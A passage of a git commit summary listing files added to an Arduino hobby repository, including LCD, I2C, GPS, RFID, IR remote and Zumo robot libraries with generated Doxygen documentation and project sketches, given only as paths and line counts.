bytes .../data/utility/docs/html/search/all__6.js.i | Bin 0 -> 905 bytes .../utility/docs/html/search/all__61.html.i | Bin 0 -> 806 bytes .../utility/docs/html/search/all__62.html.i | Bin 0 -> 1367 bytes .../utility/docs/html/search/all__63.html.i | Bin 0 -> 821 bytes .../utility/docs/html/search/all__64.html.i | Bin 0 -> 1269 bytes .../utility/docs/html/search/all__65.html.i | Bin 0 -> 843 bytes .../utility/docs/html/search/all__66.html.i | Bin 0 -> 2366 bytes .../utility/docs/html/search/all__68.html.i | Bin 0 -> 1086 bytes .../utility/docs/html/search/all__69.html.i | Bin 0 -> 784 bytes .../utility/docs/html/search/all__6c.html.i | Bin 0 -> 5696 bytes .../utility/docs/html/search/all__6d.html.i | Bin 0 -> 715 bytes .../utility/docs/html/search/all__6e.html.i | Bin 0 -> 963 bytes .../utility/docs/html/search/all__6f.html.i | Bin 0 -> 696 bytes .../utility/docs/html/search/all__7.html.i | Bin 0 -> 537 bytes .../data/utility/docs/html/search/all__7.js.i | Bin 0 -> 223 bytes .../utility/docs/html/search/all__70.html.i | Bin 0 -> 808 bytes .../utility/docs/html/search/all__72.html.i | Bin 0 -> 997 bytes .../utility/docs/html/search/all__73.html.i | Bin 0 -> 4087 bytes .../utility/docs/html/search/all__74.html.i | Bin 0 -> 1155 bytes .../utility/docs/html/search/all__77.html.i | Bin 0 -> 841 bytes .../utility/docs/html/search/all__8.html.i | Bin 0 -> 536 bytes .../data/utility/docs/html/search/all__8.js.i | Bin 0 -> 325 bytes .../utility/docs/html/search/all__9.html.i | Bin 0 -> 537 bytes .../data/utility/docs/html/search/all__9.js.i | Bin 0 -> 204 bytes .../utility/docs/html/search/all__a.html.i | Bin 0 -> 536 bytes .../data/utility/docs/html/search/all__a.js.i | Bin 0 -> 289 bytes .../utility/docs/html/search/all__b.html.i | Bin 0 -> 537 bytes .../data/utility/docs/html/search/all__b.js.i | Bin 0 -> 474 bytes .../utility/docs/html/search/all__c.html.i | Bin 0 -> 536 bytes .../data/utility/docs/html/search/all__c.js.i | Bin 0 -> 1487 bytes .../utility/docs/html/search/all__d.html.i | Bin 0 -> 536 bytes .../data/utility/docs/html/search/all__d.js.i | Bin 0 -> 250 bytes .../docs/html/search/classes__0.html.i | Bin 0 -> 537 bytes .../utility/docs/html/search/classes__0.js.i | Bin 0 -> 140 bytes .../docs/html/search/classes__1.html.i | Bin 0 -> 538 bytes .../utility/docs/html/search/classes__1.js.i | Bin 0 -> 264 bytes .../docs/html/search/classes__2.html.i | Bin 0 -> 538 bytes .../utility/docs/html/search/classes__2.js.i | Bin 0 -> 460 bytes .../docs/html/search/classes__69.html.i | Bin 0 -> 599 bytes .../docs/html/search/classes__6c.html.i | Bin 0 -> 1163 bytes .../data/utility/docs/html/search/close.png.i | Bin 0 -> 338 bytes .../docs/html/search/defines__5f.html.i | Bin 0 -> 669 bytes .../docs/html/search/defines__61.html.i | Bin 0 -> 737 bytes .../docs/html/search/defines__62.html.i | Bin 0 -> 719 bytes .../docs/html/search/defines__63.html.i | Bin 0 -> 653 bytes .../docs/html/search/defines__64.html.i | Bin 0 -> 1092 bytes .../docs/html/search/defines__65.html.i | Bin 0 -> 843 bytes .../docs/html/search/defines__66.html.i | Bin 0 -> 971 bytes .../docs/html/search/defines__68.html.i | Bin 0 -> 669 bytes .../docs/html/search/defines__6c.html.i | Bin 0 -> 2484 bytes .../docs/html/search/defines__72.html.i | Bin 0 -> 846 bytes .../docs/html/search/defines__73.html.i | Bin 0 -> 2234 bytes .../docs/html/search/defines__74.html.i | Bin 0 -> 671 bytes .../utility/docs/html/search/enums__74.html.i | Bin 0 -> 998 bytes .../docs/html/search/enumvalues__68.html.i | Bin 0 -> 704 bytes .../docs/html/search/enumvalues__6e.html.i | Bin 0 -> 685 bytes .../docs/html/search/enumvalues__70.html.i | Bin 0 -> 683 bytes .../docs/html/search/enumvalues__73.html.i | Bin 0 -> 704 bytes .../utility/docs/html/search/files__66.html.i | Bin 0 -> 634 bytes .../utility/docs/html/search/files__69.html.i | Bin 0 -> 636 bytes .../utility/docs/html/search/files__6c.html.i | Bin 0 -> 1483 bytes .../docs/html/search/functions__0.html.i | Bin 0 -> 540 bytes .../docs/html/search/functions__0.js.i | Bin 0 -> 177 bytes .../docs/html/search/functions__1.html.i | Bin 0 -> 540 bytes .../docs/html/search/functions__1.js.i | Bin 0 -> 444 bytes .../docs/html/search/functions__2.html.i | Bin 0 -> 540 bytes .../docs/html/search/functions__2.js.i | Bin 0 -> 244 bytes .../docs/html/search/functions__3.html.i | Bin 0 -> 540 bytes .../docs/html/search/functions__3.js.i | Bin 0 -> 337 bytes .../docs/html/search/functions__4.html.i | Bin 0 -> 541 bytes .../docs/html/search/functions__4.js.i | Bin 0 -> 169 bytes .../docs/html/search/functions__5.html.i | Bin 0 -> 541 bytes .../docs/html/search/functions__5.js.i | Bin 0 -> 179 bytes .../docs/html/search/functions__6.html.i | Bin 0 -> 541 bytes .../docs/html/search/functions__6.js.i | Bin 0 -> 821 bytes .../docs/html/search/functions__61.html.i | Bin 0 -> 649 bytes .../docs/html/search/functions__62.html.i | Bin 0 -> 1247 bytes .../docs/html/search/functions__63.html.i | Bin 0 -> 754 bytes .../docs/html/search/functions__64.html.i | Bin 0 -> 775 bytes .../docs/html/search/functions__65.html.i | Bin 0 -> 670 bytes .../docs/html/search/functions__66.html.i | Bin 0 -> 1822 bytes .../docs/html/search/functions__68.html.i | Bin 0 -> 644 bytes .../docs/html/search/functions__69.html.i | Bin 0 -> 647 bytes .../docs/html/search/functions__6c.html.i | Bin 0 -> 2768 bytes .../docs/html/search/functions__6d.html.i | Bin 0 -> 715 bytes .../docs/html/search/functions__6e.html.i | Bin 0 -> 870 bytes .../docs/html/search/functions__6f.html.i | Bin 0 -> 696 bytes .../docs/html/search/functions__7.html.i | Bin 0 -> 541 bytes .../docs/html/search/functions__7.js.i | Bin 0 -> 223 bytes .../docs/html/search/functions__70.html.i | Bin 0 -> 711 bytes .../docs/html/search/functions__72.html.i | Bin 0 -> 721 bytes .../docs/html/search/functions__73.html.i | Bin 0 -> 2541 bytes .../docs/html/search/functions__77.html.i | Bin 0 -> 841 bytes .../docs/html/search/functions__8.html.i | Bin 0 -> 540 bytes .../docs/html/search/functions__8.js.i | Bin 0 -> 325 bytes .../docs/html/search/functions__9.html.i | Bin 0 -> 540 bytes .../docs/html/search/functions__9.js.i | Bin 0 -> 204 bytes .../docs/html/search/functions__a.html.i | Bin 0 -> 540 bytes .../docs/html/search/functions__a.js.i | Bin 0 -> 289 bytes .../docs/html/search/functions__b.html.i | Bin 0 -> 540 bytes .../docs/html/search/functions__b.js.i | Bin 0 -> 275 bytes .../docs/html/search/functions__c.html.i | Bin 0 -> 540 bytes .../docs/html/search/functions__c.js.i | Bin 0 -> 1064 bytes .../docs/html/search/functions__d.html.i | Bin 0 -> 540 bytes .../docs/html/search/functions__d.js.i | Bin 0 -> 250 bytes .../utility/docs/html/search/mag__sel.png.i | Bin 0 -> 628 bytes .../utility/docs/html/search/nomatches.html.i | Bin 0 -> 366 bytes .../utility/docs/html/search/pages__0.html.i | Bin 0 -> 537 bytes .../utility/docs/html/search/pages__0.js.i | Bin 0 -> 204 bytes .../utility/docs/html/search/search.css.i | Bin 0 -> 1532 bytes .../data/utility/docs/html/search/search.js.i | Bin 0 -> 6369 bytes .../utility/docs/html/search/search__l.png.i | Bin 0 -> 669 bytes .../utility/docs/html/search/search__m.png.i | Bin 0 -> 222 bytes .../utility/docs/html/search/search__r.png.i | Bin 0 -> 677 bytes .../utility/docs/html/search/searchdata.js.i | Bin 0 -> 345 bytes .../docs/html/search/typedefs__66.html.i | Bin 0 -> 717 bytes .../docs/html/search/variables__5f.html.i | Bin 0 -> 919 bytes .../data/utility/docs/html/splitbar.png.i | Bin 0 -> 297 bytes .../data/utility/docs/html/sync__off.png.i | Bin 0 -> 918 bytes .../data/utility/docs/html/sync__on.png.i | Bin 0 -> 910 bytes .../store/data/utility/docs/html/tab__a.png.i | Bin 0 -> 412 bytes .../store/data/utility/docs/html/tab__b.png.i | Bin 0 -> 477 bytes .../store/data/utility/docs/html/tab__h.png.i | Bin 0 -> 499 bytes .../store/data/utility/docs/html/tab__s.png.i | Bin 0 -> 503 bytes .../store/data/utility/docs/html/tabs.css.i | Bin 0 -> 581 bytes .../.hg/store/data/~2ehgignore.i | Bin 0 -> 174 bytes .../.hg/store/data/~2ehgtags.i | Bin 0 -> 5025 bytes ...945e6cf0c5a25adbd13121dc8faf9920ab60c890.i | Bin 0 -> 2683 bytes libraries/NewliquidCrystal/.hg/store/fncache | 520 + libraries/NewliquidCrystal/.hg/store/undo | Bin 0 -> 60 bytes .../.hg/strip-backup/49ed0cdee2e3-backup.hg | Bin 0 -> 1064 bytes libraries/NewliquidCrystal/.hg/undo.bookmarks | 0 libraries/NewliquidCrystal/.hg/undo.branch | 1 + libraries/NewliquidCrystal/.hg/undo.desc | 2 + libraries/NewliquidCrystal/.hg/undo.dirstate | Bin 0 -> 19563 bytes libraries/NewliquidCrystal/.hgignore | 3 + libraries/NewliquidCrystal/.hgtags | 37 + libraries/NewliquidCrystal/FastIO.cpp | 267 + libraries/NewliquidCrystal/FastIO.h | 219 + libraries/NewliquidCrystal/I2CIO.cpp | 218 + libraries/NewliquidCrystal/I2CIO.h | 158 + libraries/NewliquidCrystal/LCD.cpp | 372 + libraries/NewliquidCrystal/LCD.h | 578 + libraries/NewliquidCrystal/LiquidCrystal.cpp | 309 + libraries/NewliquidCrystal/LiquidCrystal.h | 161 + .../NewliquidCrystal/LiquidCrystal_I2C.cpp | 291 + .../NewliquidCrystal/LiquidCrystal_I2C.h | 204 + .../LiquidCrystal_I2C_ByVac.cpp | 105 + .../LiquidCrystal_I2C_ByVac.h | 126 + .../NewliquidCrystal/LiquidCrystal_SI2C.cpp | 294 + .../NewliquidCrystal/LiquidCrystal_SI2C.h | 207 + .../NewliquidCrystal/LiquidCrystal_SR.cpp | 209 + libraries/NewliquidCrystal/LiquidCrystal_SR.h | 176 + .../NewliquidCrystal/LiquidCrystal_SR1W.cpp | 252 + .../NewliquidCrystal/LiquidCrystal_SR1W.h | 373 + .../NewliquidCrystal/LiquidCrystal_SR2W.cpp | 135 + .../NewliquidCrystal/LiquidCrystal_SR2W.h | 202 + .../NewliquidCrystal/LiquidCrystal_SR3W.cpp | 283 + .../NewliquidCrystal/LiquidCrystal_SR3W.h | 204 + libraries/NewliquidCrystal/README.md | 47 + libraries/NewliquidCrystal/SI2CIO.cpp | 206 + libraries/NewliquidCrystal/SI2CIO.h | 149 + libraries/NewliquidCrystal/SoftI2CMaster.h | 509 + libraries/NewliquidCrystal/def/doxygen.def | 8422 ++++ .../NewliquidCrystal/doxygen_entrydb_2806.tmp | Bin 0 -> 18267046 bytes .../NewliquidCrystal/doxygen_objdb_2806.tmp | 0 .../HelloWorld_4bit/HelloWorld_4bit.pde | 78 + .../examples/HelloWorld_SR/HelloWorld_SR.pde | 36 + .../HelloWorld_byVac/HelloWorld_byVac.ino | 72 + .../HelloWorld_i2c/HelloWorld_i2c.pde | 61 + .../HelloWorld_si2c/HelloWorld_si2c.ino | 54 + .../examples/LCDiSpeed/LCDiSpeed.pde | 281 + .../examples/LCDiSpeed/LCDiSpeed.txt | 20 + .../examples/SerialDisplay/SerialDisplay.pde | 37 + .../examples/i2cLCDextraIO/i2cLCDextraIO.pde | 246 + .../i2cLCDextraIO_tempLeonardo.ino | 332 + .../performanceLCD/performanceLCD.pde | 497 + libraries/NewliquidCrystal/keywords.txt | 52 + .../SoftI2CMaster/README.md | 16 + .../SoftI2CMaster/SoftI2CMaster.h | 509 + .../examples/BMA020Soft/BMA020Soft.ino | 98 + .../Eeprom24AA1024Soft/Eeprom24AA1024Soft.ino | 298 + .../examples/I2CScanSoft/I2CScanSoft.ino | 91 + .../examples/MLX90614Soft/MLX90614Soft.ino | 60 + .../examples/TSL2561Soft/TSL2561Soft.h | 53 + .../examples/TSL2561Soft/TSL2561Soft.ino | 100 + .../examples/stretchTest/stretchTest.ino | 52 + .../SoftI2CMaster/license.txt | 25 + .../SoftI2CMaster_/SoftI2CMaster.cpp | 328 + .../SoftI2CMaster_/SoftI2CMaster.h | 68 + .../SoftI2CMaster_/SoftI2CMaster_LICENSE.txt | 33 + .../NewliquidCrystal/utility/docs/Doxyfile | 2454 + .../utility/docs/def/doxygen.def | 7432 +++ .../utility/docs/def/doxygen.def.txt | 2897 ++ .../utility/docs/html/_fast_i_o_8cpp.html | 576 + .../docs/html/_fast_i_o_8cpp_source.html | 378 + .../utility/docs/html/_fast_i_o_8h.html | 813 + .../docs/html/_fast_i_o_8h_source.html | 222 + .../utility/docs/html/_i2_c_i_o_8cpp.html | 119 + .../docs/html/_i2_c_i_o_8cpp_source.html | 309 + .../utility/docs/html/_i2_c_i_o_8h.html | 141 + .../docs/html/_i2_c_i_o_8h_source.html | 171 + .../utility/docs/html/_l_c_d_8cpp.html | 120 + .../utility/docs/html/_l_c_d_8cpp_source.html | 481 + .../utility/docs/html/_l_c_d_8h.html | 738 + .../utility/docs/html/_l_c_d_8h_source.html | 355 + .../docs/html/_liquid_crystal_8cpp.html | 173 + .../html/_liquid_crystal_8cpp_source.html | 410 + .../utility/docs/html/_liquid_crystal_8h.html | 144 + .../docs/html/_liquid_crystal_8h_source.html | 195 + .../html/_liquid_crystal___i2_c_8cpp.html | 274 + .../_liquid_crystal___i2_c_8cpp_source.html | 371 + .../docs/html/_liquid_crystal___i2_c_8h.html | 124 + .../_liquid_crystal___i2_c_8h_source.html | 193 + .../_liquid_crystal___i2_c___by_vac_8cpp.html | 118 + ...d_crystal___i2_c___by_vac_8cpp_source.html | 216 + .../_liquid_crystal___i2_c___by_vac_8h.html | 124 + ...uid_crystal___i2_c___by_vac_8h_source.html | 164 + .../_liquid_crystal___s_i2_c_8h_source.html | 196 + .../html/_liquid_crystal___s_r1_w_8cpp.html | 116 + .../_liquid_crystal___s_r1_w_8cpp_source.html | 363 + .../html/_liquid_crystal___s_r1_w_8h.html | 380 + .../_liquid_crystal___s_r1_w_8h_source.html | 429 + .../html/_liquid_crystal___s_r2_w_8cpp.html | 116 + .../_liquid_crystal___s_r2_w_8cpp_source.html | 246 + .../html/_liquid_crystal___s_r2_w_8h.html | 191 + .../_liquid_crystal___s_r2_w_8h_source.html | 263 + .../html/_liquid_crystal___s_r3_w_8cpp.html | 276 + .../_liquid_crystal___s_r3_w_8cpp_source.html | 363 + .../html/_liquid_crystal___s_r3_w_8h.html | 123 + .../_liquid_crystal___s_r3_w_8h_source.html | 220 + .../docs/html/_liquid_crystal___s_r_8cpp.html | 121 + .../_liquid_crystal___s_r_8cpp_source.html | 320 + .../docs/html/_liquid_crystal___s_r_8h.html | 175 + .../html/_liquid_crystal___s_r_8h_source.html | 229 + .../_liquid_crystal___s_r___l_c_d3_8cpp.html | 147 + ...id_crystal___s_r___l_c_d3_8cpp_source.html | 295 + .../_liquid_crystal___s_r___l_c_d3_8h.html | 95 + ...quid_crystal___s_r___l_c_d3_8h_source.html | 129 + .../docs/html/_s_i2_c_i_o_8h_source.html | 170 + .../html/_soft_i2_c_master_8h_source.html | 606 + .../utility/docs/html/annotated.html | 115 + .../utility/docs/html/annotated_dup.js | 15 + .../utility/docs/html/arrowdown.png | Bin 0 -> 246 bytes .../utility/docs/html/arrowright.png | Bin 0 -> 229 bytes .../utility/docs/html/bc_s.png | Bin 0 -> 676 bytes .../utility/docs/html/bdwn.png | Bin 0 -> 147 bytes .../docs/html/class_i2_c_i_o-members.html | 111 + .../utility/docs/html/class_i2_c_i_o.html | 330 + .../utility/docs/html/class_i2_c_i_o.js | 11 + .../docs/html/class_l_c_d-members.html | 136 + .../utility/docs/html/class_l_c_d.html | 887 + .../utility/docs/html/class_l_c_d.js | 36 + .../utility/docs/html/class_l_c_d.png | Bin 0 -> 3647 bytes .../html/class_liquid_crystal-members.html | 145 + .../docs/html/class_liquid_crystal.html | 477 + .../utility/docs/html/class_liquid_crystal.js | 14 + .../docs/html/class_liquid_crystal.png | Bin 0 -> 498 bytes .../class_liquid_crystal___i2_c-members.html | 143 + .../html/class_liquid_crystal___i2_c.html | 536 + .../docs/html/class_liquid_crystal___i2_c.js | 13 + .../docs/html/class_liquid_crystal___i2_c.png | Bin 0 -> 603 bytes ...iquid_crystal___i2_c___by_vac-members.html | 139 + .../class_liquid_crystal___i2_c___by_vac.html | 381 + .../class_liquid_crystal___i2_c___by_vac.js | 8 + .../class_liquid_crystal___i2_c___by_vac.png | Bin 0 -> 730 bytes ...class_liquid_crystal___s_i2_c-members.html | 143 + .../html/class_liquid_crystal___s_i2_c.html | 536 + .../html/class_liquid_crystal___s_i2_c.js | 13 + .../html/class_liquid_crystal___s_i2_c.png | Bin 0 -> 615 bytes .../class_liquid_crystal___s_r-members.html | 138 + .../docs/html/class_liquid_crystal___s_r.html | 366 + .../docs/html/class_liquid_crystal___s_r.js | 7 + .../docs/html/class_liquid_crystal___s_r.png | Bin 0 -> 596 bytes ...class_liquid_crystal___s_r1_w-members.html | 138 + .../html/class_liquid_crystal___s_r1_w.html | 322 + .../html/class_liquid_crystal___s_r1_w.js | 6 + .../html/class_liquid_crystal___s_r1_w.png | Bin 0 -> 612 bytes ...class_liquid_crystal___s_r2_w-members.html | 138 + .../html/class_liquid_crystal___s_r2_w.html | 322 + .../html/class_liquid_crystal___s_r2_w.js | 6 + .../html/class_liquid_crystal___s_r2_w.png | Bin 0 -> 622 bytes ...class_liquid_crystal___s_r3_w-members.html | 141 + .../html/class_liquid_crystal___s_r3_w.html | 464 + .../html/class_liquid_crystal___s_r3_w.js | 10 + .../html/class_liquid_crystal___s_r3_w.png | Bin 0 -> 620 bytes ...liquid_crystal___s_r___l_c_d3-members.html | 120 + .../class_liquid_crystal___s_r___l_c_d3.html | 200 + .../class_liquid_crystal___s_r___l_c_d3.png | Bin 0 -> 442 bytes .../docs/html/class_s_i2_c_i_o-members.html | 111 + .../utility/docs/html/class_s_i2_c_i_o.html | 330 + .../utility/docs/html/class_s_i2_c_i_o.js | 11 + .../html/class_soft_i2_c_master-members.html | 143 + .../docs/html/class_soft_i2_c_master.html | 181 + .../docs/html/class_soft_i2_c_master.js | 19 + .../utility/docs/html/classes.html | 114 + .../utility/docs/html/closed.png | Bin 0 -> 132 bytes .../utility/docs/html/doc.png | Bin 0 -> 746 bytes .../utility/docs/html/doxygen.css | 1454 + .../utility/docs/html/doxygen.png | Bin 0 -> 3779 bytes .../utility/docs/html/dynsections.js | 97 + .../utility/docs/html/files.html | 114 + .../utility/docs/html/files.js | 16 + .../utility/docs/html/folderclosed.png | Bin 0 -> 616 bytes .../utility/docs/html/folderopen.png | Bin 0 -> 597 bytes .../utility/docs/html/ftv2blank.png | Bin 0 -> 82 bytes .../utility/docs/html/ftv2doc.png | Bin 0 -> 762 bytes .../utility/docs/html/ftv2folderclosed.png | Bin 0 -> 598 bytes .../utility/docs/html/ftv2folderopen.png | Bin 0 -> 590 bytes .../utility/docs/html/ftv2lastnode.png | Bin 0 -> 82 bytes .../utility/docs/html/ftv2link.png | Bin 0 -> 762 bytes .../utility/docs/html/ftv2mlastnode.png | Bin 0 -> 221 bytes .../utility/docs/html/ftv2mnode.png | Bin 0 -> 221 bytes .../utility/docs/html/ftv2node.png | Bin 0 -> 82 bytes .../utility/docs/html/ftv2plastnode.png | Bin 0 -> 215 bytes .../utility/docs/html/ftv2pnode.png | Bin 0 -> 215 bytes .../utility/docs/html/ftv2splitbar.png | Bin 0 -> 249 bytes .../utility/docs/html/ftv2vertline.png | Bin 0 -> 82 bytes .../utility/docs/html/functions.html | 340 + .../utility/docs/html/functions_func.html | 340 + .../utility/docs/html/functions_vars.html | 135 + .../utility/docs/html/globals.html | 490 + .../utility/docs/html/globals_defs.html | 412 + .../utility/docs/html/globals_enum.html | 124 + .../utility/docs/html/globals_eval.html | 130 + .../utility/docs/html/globals_func.html | 154 + .../utility/docs/html/globals_type.html | 124 + .../utility/docs/html/hierarchy.html | 116 + .../utility/docs/html/hierarchy.js | 18 + .../utility/docs/html/index.html | 92 + .../utility/docs/html/installdox | 112 + .../utility/docs/html/jquery.js | 68 + .../utility/docs/html/logoGoogle.jpg | Bin 0 -> 17184 bytes ...__s_w__newliquid_crystal__r_e_a_d_m_e.html | 133 + .../utility/docs/html/nav_f.png | Bin 0 -> 153 bytes .../utility/docs/html/nav_g.png | Bin 0 -> 95 bytes .../utility/docs/html/nav_h.png | Bin 0 -> 98 bytes .../utility/docs/html/navtree.css | 143 + .../utility/docs/html/navtree.js | 523 + .../utility/docs/html/navtreedata.js | 25 + .../utility/docs/html/navtreeindex0.js | 154 + .../utility/docs/html/open.png | Bin 0 -> 123 bytes .../utility/docs/html/pages.html | 97 + .../utility/docs/html/resize.js | 97 + .../utility/docs/html/search/all_0.html | 26 + .../utility/docs/html/search/all_0.js | 4 + .../utility/docs/html/search/all_1.html | 26 + .../utility/docs/html/search/all_1.js | 6 + .../utility/docs/html/search/all_2.html | 26 + .../utility/docs/html/search/all_2.js | 6 + .../utility/docs/html/search/all_3.html | 26 + .../utility/docs/html/search/all_3.js | 6 + .../utility/docs/html/search/all_4.html | 26 + .../utility/docs/html/search/all_4.js | 4 + .../utility/docs/html/search/all_5.html | 26 + .../utility/docs/html/search/all_5.js | 4 + .../utility/docs/html/search/all_5f.html | 62 + .../utility/docs/html/search/all_6.html | 26 + .../utility/docs/html/search/all_6.js | 13 + .../utility/docs/html/search/all_61.html | 38 + .../utility/docs/html/search/all_62.html | 55 + .../utility/docs/html/search/all_63.html | 44 + .../utility/docs/html/search/all_64.html | 80 + .../utility/docs/html/search/all_65.html | 35 + .../utility/docs/html/search/all_66.html | 156 + .../utility/docs/html/search/all_68.html | 38 + .../utility/docs/html/search/all_69.html | 39 + .../utility/docs/html/search/all_6c.html | 392 + .../utility/docs/html/search/all_6d.html | 32 + .../utility/docs/html/search/all_6e.html | 56 + .../utility/docs/html/search/all_6f.html | 32 + .../utility/docs/html/search/all_7.html | 26 + .../utility/docs/html/search/all_7.js | 5 + .../utility/docs/html/search/all_70.html | 38 + .../utility/docs/html/search/all_72.html | 50 + .../utility/docs/html/search/all_73.html | 205 + .../utility/docs/html/search/all_74.html | 38 + .../utility/docs/html/search/all_77.html | 35 + .../utility/docs/html/search/all_8.html | 26 + .../utility/docs/html/search/all_8.js | 8 + .../utility/docs/html/search/all_9.html | 26 + .../utility/docs/html/search/all_9.js | 5 + .../utility/docs/html/search/all_a.html | 26 + .../utility/docs/html/search/all_a.js | 5 + .../utility/docs/html/search/all_b.html | 26 + .../utility/docs/html/search/all_b.js | 6 + .../utility/docs/html/search/all_c.html | 26 + .../utility/docs/html/search/all_c.js | 11 + .../utility/docs/html/search/all_d.html | 26 + .../utility/docs/html/search/all_d.js | 4 + .../utility/docs/html/search/classes_0.html | 26 + .../utility/docs/html/search/classes_0.js | 4 + .../utility/docs/html/search/classes_1.html | 26 + .../utility/docs/html/search/classes_1.js | 12 + .../utility/docs/html/search/classes_2.html | 26 + .../utility/docs/html/search/classes_2.js | 4 + .../utility/docs/html/search/classes_69.html | 25 + .../utility/docs/html/search/classes_6c.html | 60 + .../utility/docs/html/search/close.png | Bin 0 -> 273 bytes .../utility/docs/html/search/defines_5f.html | 26 + .../utility/docs/html/search/defines_61.html | 32 + .../utility/docs/html/search/defines_62.html | 32 + .../utility/docs/html/search/defines_63.html | 26 + .../utility/docs/html/search/defines_64.html | 62 + .../utility/docs/html/search/defines_65.html | 35 + .../utility/docs/html/search/defines_66.html | 56 + .../utility/docs/html/search/defines_68.html | 26 + .../utility/docs/html/search/defines_6c.html | 219 + .../utility/docs/html/search/defines_72.html | 38 + .../utility/docs/html/search/defines_73.html | 134 + .../utility/docs/html/search/defines_74.html | 26 + .../utility/docs/html/search/enums_74.html | 32 + .../docs/html/search/enumvalues_68.html | 26 + .../docs/html/search/enumvalues_6e.html | 26 + .../docs/html/search/enumvalues_70.html | 26 + .../docs/html/search/enumvalues_73.html | 26 + .../utility/docs/html/search/files_66.html | 30 + .../utility/docs/html/search/files_69.html | 30 + .../utility/docs/html/search/files_6c.html | 100 + .../utility/docs/html/search/functions_0.html | 26 + .../utility/docs/html/search/functions_0.js | 4 + .../utility/docs/html/search/functions_1.html | 26 + .../utility/docs/html/search/functions_1.js | 6 + .../utility/docs/html/search/functions_2.html | 26 + .../utility/docs/html/search/functions_2.js | 6 + .../utility/docs/html/search/functions_3.html | 26 + .../utility/docs/html/search/functions_3.js | 6 + .../utility/docs/html/search/functions_4.html | 26 + .../utility/docs/html/search/functions_4.js | 4 + .../utility/docs/html/search/functions_5.html | 26 + .../utility/docs/html/search/functions_5.js | 4 + .../utility/docs/html/search/functions_6.html | 26 + .../utility/docs/html/search/functions_6.js | 13 + .../docs/html/search/functions_61.html | 26 + .../docs/html/search/functions_62.html | 43 + .../docs/html/search/functions_63.html | 38 + .../docs/html/search/functions_64.html | 38 + .../docs/html/search/functions_65.html | 26 + .../docs/html/search/functions_66.html | 98 + .../docs/html/search/functions_68.html | 26 + .../docs/html/search/functions_69.html | 26 + .../docs/html/search/functions_6c.html | 95 + .../docs/html/search/functions_6d.html | 32 + .../docs/html/search/functions_6e.html | 50 + .../docs/html/search/functions_6f.html | 32 + .../utility/docs/html/search/functions_7.html | 26 + .../utility/docs/html/search/functions_7.js | 5 + .../docs/html/search/functions_70.html | 32 + .../docs/html/search/functions_72.html | 32 + .../docs/html/search/functions_73.html | 85 + .../docs/html/search/functions_77.html | 35 + .../utility/docs/html/search/functions_8.html | 26 + .../utility/docs/html/search/functions_8.js | 8 + .../utility/docs/html/search/functions_9.html | 26 + .../utility/docs/html/search/functions_9.js | 5 + .../utility/docs/html/search/functions_a.html | 26 + .../utility/docs/html/search/functions_a.js | 5 + .../utility/docs/html/search/functions_b.html | 26 + .../utility/docs/html/search/functions_b.js | 5 + .../utility/docs/html/search/functions_c.html | 26 + .../utility/docs/html/search/functions_c.js | 11 + .../utility/docs/html/search/functions_d.html | 26 + .../utility/docs/html/search/functions_d.js | 4 + .../utility/docs/html/search/mag_sel.png | Bin 0 -> 563 bytes .../utility/docs/html/search/nomatches.html | 12 + .../utility/docs/html/search/pages_0.html | 26 + .../utility/docs/html/search/pages_0.js | 4 + .../utility/docs/html/search/search.css | 271 + .../utility/docs/html/search/search.js | 791 + .../utility/docs/html/search/search_l.png | Bin 0 -> 604 bytes .../utility/docs/html/search/search_m.png | Bin 0 -> 158 bytes .../utility/docs/html/search/search_r.png | Bin 0 -> 612 bytes .../utility/docs/html/search/searchdata.js | 24 + .../utility/docs/html/search/typedefs_66.html | 32 + .../docs/html/search/variables_5f.html | 56 + .../utility/docs/html/splitbar.png | Bin 0 -> 314 bytes .../utility/docs/html/sync_off.png | Bin 0 -> 853 bytes .../utility/docs/html/sync_on.png | Bin 0 -> 845 bytes .../utility/docs/html/tab_a.png | Bin 0 -> 142 bytes .../utility/docs/html/tab_b.png | Bin 0 -> 169 bytes .../utility/docs/html/tab_h.png | Bin 0 -> 177 bytes .../utility/docs/html/tab_s.png | Bin 0 -> 184 bytes .../utility/docs/html/tabs.css | 60 + libraries/PLabBT/PLabBTSerial.cpp | 85 + libraries/PLabBT/PLabBTSerial.h | 46 + libraries/PLabLib1/PLab_IRremote.cpp | 1154 + libraries/PLabLib1/PLab_IRremote.h | 149 + libraries/PLabLib1/PLab_IRremoteInt.h | 516 + libraries/PLabLib1/PLab_PushButton.cpp | 62 + libraries/PLabLib1/PLab_PushButton.h | 31 + libraries/PLabLib2/MFRC522.cpp | 1659 + libraries/PLabLib2/MFRC522.h | 349 + libraries/PLabLib3/NewPing.cpp | 231 + libraries/PLabLib3/NewPing.h | 162 + libraries/PLabLib4/LSM303.cpp | 570 + libraries/PLabLib4/LSM303.h | 218 + libraries/TinyGPS/TinyGPS.h | 157 + .../examples/BasicExample/BasicExample.ino | 91 + .../examples/DeviceExample/DeviceExample.ino | 92 + .../examples/FullExample/FullExample.ino | 159 + .../examples/KitchenSink/KitchenSink.ino | 191 + .../SatElevTracker/SatElevTracker.ino | 150 + .../sample_satellite_elevation_log.txt | 1606 + .../SatelliteTracker/SatelliteTracker.ino | 149 + .../UsingCustomFields/UsingCustomFields.ino | 69 + libraries/TinyGPSPlus-1.0.2/keywords.txt | 71 + libraries/TinyGPSPlus-1.0.2/library.json | 22 + .../TinyGPSPlus-1.0.2/library.properties | 9 + libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.cpp | 503 + libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.h | 278 + libraries/Zumo/PLab_ZumoMotors.cpp | 126 + libraries/Zumo/PLab_ZumoMotors.h | 35 + libraries/Zumo/Pushbutton.cpp | 173 + libraries/Zumo/Pushbutton.h | 70 + libraries/Zumo/QTRSensors.cpp | 563 + libraries/Zumo/QTRSensors.dox | 31 + libraries/Zumo/QTRSensors.h | 268 + libraries/Zumo/ZumoBuzzer.cpp | 742 + libraries/Zumo/ZumoBuzzer.h | 345 + libraries/Zumo/ZumoMotors.cpp | 114 + libraries/Zumo/ZumoMotors.h | 48 + libraries/Zumo/ZumoReflectanceSensorArray.h | 408 + libraries/readme.txt | 1 + 1480 files changed, 198581 insertions(+) create mode 100644 Projects/28BYJ Stepper/Third_WithButtons/Third_WithButtons.ino create mode 100644 Projects/28BYJ Stepper/first_test/first_test.ino create mode 100644 Projects/28BYJ Stepper/second/second.ino create mode 100755 Projects/7 Segment Main/The_Final_Coutdown_/The_Final_Coutdown_.ino create mode 100755 Projects/7 Segment Main/_2x7_Segment_74HC_HEI_ELIAS_/_2x7_Segment_74HC_HEI_ELIAS_.ino create mode 100755 Projects/7 Segment 